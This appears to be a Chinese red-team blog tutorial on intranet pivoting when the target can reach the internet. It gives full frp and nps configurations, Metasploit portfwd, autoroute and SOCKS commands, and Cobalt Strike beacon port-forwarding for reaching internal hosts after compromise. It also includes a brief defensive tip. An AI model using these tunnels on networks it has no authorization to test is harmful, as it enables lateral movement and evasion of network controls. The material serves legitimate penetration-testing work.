前言
之前写了一篇搭建http隧道的文章,用来总结在不出网的情况下如何内网渗透。所以这里就再总结一下在出网的情况下用来内网穿透的好用工具。
frp
frp 简介
frp 使用go语言开发,是一款高性能的反向代理应用,可以轻松地进行内网穿透,对外网提供服务。frp支持 TCP、UDP、KCP、HTTP、HTTPS等协议类型。
frp 下载
https://github.com/fatedier/frp/releases?after=v0.31.0 下载amd文件,测试使用0.28.2版本
frp 配置文件
下载好后,先看一下frp的相关文件
服务段frps.ini
[common]
# 通用设置
bind_addr = 0.0.0.0
bind_port = 7000
# frp 监听地址
bind_udp_port = 7001
# 配置udp端口
kcp_bind_port = 7000
# 用于kcp协议的udp端口,如果未设置,则在frps中禁用kcp
proxy_bind_addr = 127.0.0.1
# 代理服务器绑定地址
vhost_http_port = 80
vhost_https_port = 443
# 配置http与https端口
dashboard_addr = 0.0.0.0
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = admin
# 配置dashboard以查看仪表盘与登陆信息
enable_prometheus = true
# 普罗米修斯运维服务
log_file = ./frps.log
# 日志路径
log_level = info
log_max_days = 3
# 日志信息和日志记录最大时间
disable_log_color = false
# 禁用日志颜色,默认值为false
detailed_errors_to_client = true
# 是否将错误信息发送到frpc。默认情况下true。
authentication_method = token
# 授权验证方式
authenticate_heartbeats = false
# 是否在发送到frp的心跳中包含身份验证令牌,默认false
authenticate_new_work_conns = false
# 是否在发送到frp的新工作连接中包含身份验证令牌。默认false
token = 12345678
# 秘钥
oidc_client_id =
# 用于在OIDC身份验证中获取令牌的客户端ID
oidc_client_secret =
# 用于在OIDC身份验证中获取令牌的客户端密码
oidc_audience =
# 指定OIDC身份验证中令牌的访问群体
oidc_token_endpoint_url =
# 如果AuthenticationMethod =="oidc",它将用于获取OIDC令牌
allow_ports = 2000-3000,3001,3003,4000-50000
# 允许的端口
max_pool_count = 5
# 仅允许frpc绑定您列出的端口
max_ports_per_client = 0
# pool_count的最大值
tls_only = false
# tlsonly指定是否仅接受TLS加密连接,默认false
subdomain_host = frps.com
# 当测试子域时,路由使用的主机
tcp_mux = true
# 使用tcp流多路复用,默认为true
[plugin.user-manager]
addr = 127.0.0.1:9000
path = /handler
ops = Login
# 插件管理
[plugin.port-manager]
addr = 127.0.0.1:9001
path = /handler
ops = NewProxy
# 插件管理
客户端frpc.ini
[common]
# 通用设置
server_addr = 0.0.0.0
server_port = 7000
# 服务端配置
http_proxy = http://user:[email protected]:8080
# 通过http代理或socks5代理连接frps
log_file = ./frps.log
# 日志路径
log_level = info
log_max_days = 3
# 日志信息和日志记录最大时间
disable_log_color = false
# 禁用日志颜色,默认值为false
token = 12345678
# 用于身份验证
admin_addr = 127.0.0.1
admin_port = 7400
admin_user = admin
admin_pwd = admin
# 通过api设置frpc控制台
pool_count = 5
# 连接将提前建立,默认值为零
tcp_mux = true
# 使用tcp流多路复用,默认为"true"
user = your_name
# 更改代理名称
login_fail_exit = true
# 第一次登录失败时是否退出程序,默认true
protocol = TCP
# 用于连接服务器的通信协议,支持tcp,kcp,websocket。默认tcp协议。
tls_enable = true
# 如果tls_enable为true,则frpc将通过tls连接frps
dns_server = 8.8.8.8
# 指定一个dns服务器,因此frpc将使用此服务器代替默认服务器
meta_var1 = 123
meta_var2 = 234
# 客户端的其他元信息
[ssh]
# 支持 tcp | udp | http | https | stcp | xtcp,默认为tcp
type = tcp
local_ip = 127.0.0.1
local_port = 22
# 限制此代理的带宽
use_encryption = false
# 对frps和frpc之间的消息进行加密,默认为false
use_compression = false
# 是否压缩,默认fasle
remote_port = 6001
# 设置远程监听端口
group = test_group
# 设置组
group_key = 123456
# 设置组密码
health_check_type = TCP
# frpc连接本地服务的端口以检测其健康状态
health_check_timeout_s = 3
# 设置检查连接超时时间
health_check_max_failed = 3
# 设置连续3次失败,则代理将从frps中删除
health_check_interval_s = 10
# 设置每10秒进行一次健康检查
meta_var1 = 123
meta_var2 = 234
# 每个代理的其他元信息
以下就是一些实例:
[ssh_random]
[range:tcp_port]
[DNS]
[range:udp_port]
[web01]
[web02]
frp使用
搭建socks5隧道
frps.ini
[common]
bind_addr = 0.0.0.0
# 绑定的ip,为本机
bind_port = 7000
# 绑定的端口
dashboard_addr = 0.0.0.0
# 管理地址
dashboard_port = 4000
# 管理端口
dashboard_user = root
# 管理的用户名
dashboard_pwd = 1qaz2wsx
# 管理用户的密码
token = 1qaz2wsx
# 客户端服务端连接的密码
heartbeat_timeout = 90
# 心跳超时时间
max_pool_count = 5
# 最大同时连接数
服务端运行命令
./frps -c frps.ini
frpc.ini
[common]
server_addr = 106.53.97.7
server_port = 7000
# 服务器绑定的端口
token = 1qaz2wsx
# 连接的密码
tls_enable = true
# 启用tls
pool_count = 5
protocol = tcp
# 协议类型
health_check_type = tcp
health_check_interval_s = 100
# 设置健康检查时间
[test]
remote_port = 2333
# 代理的端口
plugin = socks5
# 使用的协议
use_encryption = true
# 是否加密
use_compression = true
# 是否压缩
先对流量加密,再用TLS加密,保障传输安全。
客户端运行
./frpc -c frpc.ini
对应上面test设置的socks5代理。
使用SocksCap64设置firefox浏览内网网页。
这里的socks5代理没有设置用户名、密码。
如果设置,需要增加两个配置项。
plugin_user = cseroad
plugin_passwd = cseroad123
再推荐几个配置项
tls_enable = true # 从0.25.0版本开始 frp 支持通过 TLS 协议加密传输
use_encryption = true # 通信内容加密传输
use_compression = true # 是否压缩
wireshark抓取未配置这几项之前的通信流量。
可以显而易见看到来源地址,目的地址,通信的端口,以及正在访问的网页。
添加上面几项后,再次抓取数据包,可以看到通信内容已经加密。
防护手法:可以在流量设备上禁止gryphon协议,因为frp每次连接都会有gryphon协议的包去认证frp服务器。
搭建tcp隧道
frps.ini
[common]
bind_addr = 0.0.0.0
# 绑定的ip,为本机
bind_port = 7000
# 绑定的端口
dashboard_addr = 0.0.0.0
# 管理地址
dashboard_port = 4000
# 管理端口
dashboard_user = root
# 管理的用户名
dashboard_pwd = 1qaz2wsx
# 管理用户的密码
token = 1qaz2wsx
# 客户端服务端连接的密码
heartbeat_timeout = 90
# 心跳超时时间
max_pool_count = 5
# 最大同时连接数
frpc.ini
[common]
server_addr = 109.xxx.xxx.9
server_port = 7000
token = 1qaz2wsx
tls_enable = true
[test]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 33389
use_encryption = true
use_compression = true
访问公网的33389即可访问客户端的3389端口,完美实现端口转发。
补充:
linux后台运行
nohup ./frps -c frps.ini >/dev/null 2>&1 &
停止方式
ps -aux|grep frp| grep -v grep # 找到进程
kill -9 进程号 # 杀死进程
frp 的缺点是需要落地配置文件。
当然,uknowsec 大佬改造出了配置文件不落地的方案。https://github.com/uknowsec/frpModify
nps
nps简介
nps也是go语言编写,是一款强大的内网穿透工具。同样支持tcp、udp流量转发、内网http代理、内网socks5代理、p2p等,并带有强大的web管理端。比frp更强大。
nps下载
https://github.com/ehang-io/nps/releases/tag/v0.25.1 下载amd文件
nps配置
下载后查看一下文件目录。
server端
在nps目录下有一个nps可执行文件、conf配置目录和web网页目录,我们使用的时候只需要修改conf/nps.conf即可。
以下表格来源 官方文档
名称 | 含义 |
---|---|
web_port | web管理端口 |
web_password | web界面管理密码 |
web_username | web界面管理账号 |
web_base_url | web管理主路径,用于将web管理置于代理子路径后面 |
bridge_port | 服务端客户端通信端口 |
https_proxy_port | 域名代理https代理监听端口 |
http_proxy_port | 域名代理http代理监听端口 |
auth_key | web api密钥 |
bridge_type | 客户端与服务端连接方式kcp或tcp |
public_vkey | 客户端以配置文件模式启动时的密钥,设置为空表示关闭客户端配置文件连接模式 |
ip_limit | 是否限制ip访问,true或false或忽略 |
flow_store_interval | 服务端流量数据持久化间隔,单位分钟,忽略表示不持久化 |
log_level | 日志输出级别 |
auth_crypt_key | 获取服务端authKey时的aes加密密钥,16位 |
p2p_ip | 服务端Ip,使用p2p模式必填 |
p2p_port | p2p模式开启的udp端口 |
pprof_ip | debug pprof 服务端ip |
pprof_port | debug pprof 端口 |
disconnect_timeout | 客户端连接超时,单位 5s,默认值 60 |
client端
首先客户端有多个使用方式。
- 可以直接无配置文件使用
./npc -server=ip:port -vkey=web界面中显示的密钥
- 也可以注册到系统服务进行使用
如linux下
sudo ./npc install 其他参数(例如-server=xx -vkey=xx或者-config=xxx) 注册
sudo npc start 启动
sudo npc stop 停止
sudo npc uninstall 卸载
- 也可以配置文件进行是使用,这就类似frp了。
./npc -config=npc配置文件路径
查看npc.conf配置文件
名称 | 含义 |
---|---|
server_addr | 服务端ip/域名:port |
conn_type | 与服务端通信模式(tcp或kcp) |
vkey | 服务端配置文件中的密钥(非web) |
username | socks5或http(s)密码保护用户名(可忽略) |
password | socks5或http(s)密码保护密码(可忽略) |
compress | 是否压缩传输(true或false或忽略) |
crypt | 是否加密传输(true或false或忽略) |
rate_limit | 速度限制,可忽略 |
flow_limit | 流量限制,可忽略 |
再往下示具体模式进行配置。
具体参考官方文档
nps使用
server端启用nps
编辑nps.conf配置文件
appname = nps
#Boot mode(dev|pro)
runmode = dev
##bridge
#底层通信协议,默认tcp,可选用kcp协议
bridge_type=tcp
#底层通信端口,默认8024,如已被占用请指定其他端口
bridge_port=8024
bridge_ip=0.0.0.0
#当客户端以配置文件模式启动时会用到的验证密钥,可自行设置
public_vkey=cseroad
#web 控制台
web_host=10.xx.xx.7
web_username=cseroad
web_password=cseroad.com
web_port=18080
web_ip=0.0.0.0
启动nps
./nps start
访问18080端口,输入控制台用户密码,即可登录
搭建socks5隧道
新增一条客户端。
设置"不以配置文件运行",且压缩加密。
客户端运行web控制台给出的命令。
可以在无配置文件的情况下,上线成功。运行成功后status状态变为"online"
这时候就可以增加socks5代理。
这时候就可以使用SocksCap64 设置端口,以及basic权限认证的用户名密码。访问内网。
当然也可以选择加载npc.conf配置文件来运行npc,注意也要设置相对应的basic权限认证。
搭建tcp隧道
同样创建tcp隧道。
用mac的microsoft remote desktop 远程连接公网的33389即可。完美实现端口转发。
metasploit
metasploit作为红队神器,本身也有内网穿透的功能。
在获取session之后,可进行端口转发以及创建socks5隧道。
转发端口
portfwd用来转发单个端口
portfwd add -l 33389 –p 3389 -r 10.211.55.19
# 添加转发
portfwd delete -l 33389 –p 3389 -r 10.211.55.19
# 删除转发
portfwd list
# 列出当前转发的列表
portfwd flush
# 移除所有转发端口
创建socks5隧道
在有session基础上,先添加路由
run get_local_subnets
# 获取路由
run autoroute -s 10.211.55.0/24
# 添加路由
run autoroute -p
# 显示路由
再创建socks5隧道
use auxiliary/server/socks5
set srvhost 127.0.0.1
set srvport 1080
run
没有设置用户名和密码。
metasploit同时具有socks4和socks5两个模块。socks4只支持TCP协议,socks5支持TCP和UDP。
再使用proxychains命令进行代理访问
cobalt strike
cobalt strike也一样具有内网穿透的能力。同样首先需要一个beacon
端口转发
beacon自带了一个端口转发的命令rportfwd
rportfwd 本机端口 目标ip 目标端口
创建socks4隧道
选择SOCKS Server
可用来创建socks4隧道。
对应的代理也需要设置为socks4协议
可成功访问。
在创建成功后,可以使用"Proxy Pivots"代理metasploit走内网。
复制该命令到metasploit配置里。该设置为全局设置,一次设置,metasploit各个模块全部可用。
比如使用smb_login模块
setg Proxies socks4:172.16.252.11:1080 设置本地的msf走cs的socks4代理
setg ReverseAllowProxy true 建立双向通道
use auxiliary/scanner/smb/smb_version 探测smb版本
其余内网穿透工具,如ew、ngork因为实际应用、免杀性就不多记录了。
总结
- 实战时注意将通信流量进行加密、压缩
- 注意将socks5代理设置为认证状态
- 在使用tcp协议上进行加密、压缩还不行的情况下,不妨试一下kcp协议
参考资料
https://blog.arey.fun/archives/8/
https://whoamianony.top/2020/07/07/shen-tou-ce-shi/nei-wang-chuan-tou-gong-ju-frp-de-shi-yong/#toc-heading-5